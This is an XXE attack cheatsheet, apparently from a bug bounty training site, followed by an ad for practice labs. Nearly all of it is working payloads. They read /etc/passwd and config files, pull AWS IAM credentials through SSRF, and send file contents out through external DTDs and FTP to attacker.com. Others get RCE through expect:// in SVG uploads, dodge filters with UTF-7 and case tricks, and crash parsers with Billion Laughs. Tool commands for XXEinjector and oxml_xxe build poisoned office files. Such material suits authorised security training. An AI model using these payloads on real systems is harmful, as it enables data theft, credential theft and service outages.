XXE Cheatsheet

XML External Entity

Quick reference

  • Look for XXE in: DOCX/XLSX/SVG uploads, SOAP APIs, RSS/XML parsers, SAML configs
  • Switch the Content-Type to application/xml on any endpoint that accepts data
  • For blind XXE, use parameter entities (%) with an external DTD for OOB exfiltration
  • SVG is ideal for XXE because it has no magic bytes — it bypasses image validation
  • If the parser is PHP, try expect:// for direct RCE

File read (LFI)

Basic LFI /etc/passwd

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><foo>&xxe;</foo>

PHP filter base64

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://target.com/config.php">
]><foo><result>&ac;</result></foo>

XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

CDATA wrapper for XML fileswrapper.dtd: <!ENTITY wrapper "%start;%file;%end;">

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/WEB-INF/web.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker.com/wrapper.dtd">
%dtd;]>
<data>&wrapper;</data>

SSRF via XXE

SSRF to an internal service

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://internal-service.com/admin">
]><foo>&xxe;</foo>

AWS metadata via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]><foo>&xxe;</foo>

Blind XXE - Out-of-Band

OOB via Collaborator

<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.oastify.com">
]><stockCheck><productId>&xxe;</productId></stockCheck>

Parameter entity OOB

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR">
%xxe; ]>

Exfiltration via external DTDexploit.dtd contains: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd">
%xxe;]>

FTP exfiltrationftp.dtd sends data via FTP to the attacker's server

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/ftp.dtd">
%remote; %send;]>
<data>4</data>

XXE via file upload

SVG with XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

SVG with expect:// (RCE)

<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="expect://id"></image>
</svg>

UTF-7 encoding bypassConvert with: recode UTF8..UTF7 payload.xml

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://attacker.com+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

DoS and filter bypass

Billion Laughs (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol9 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]><lolz>&lol9;</lolz>

Case manipulation bypass

<!DOCTYPE foo [<!entity xxe SYSTEM "file:///etc/passwd">]>

Base64 encoding bypass

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">
]><foo>&xxe;</foo>

DTD chaining

<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">
%remote;]>

Tools

XXEinjector

Automated XXE tool with multiple exfiltration modes

ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http

oxml_xxe

Generates DOCX/XLSX/PPTX files with embedded XXE payloads

python3 oxml_xxe.py -b http://attacker.com -f malicious.xlsx

Burp Collaborator

OOB server to confirm blind XXE via DNS/HTTP callbacks

Burp Suite > Burp Collaborator Client > Copy to clipboard

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime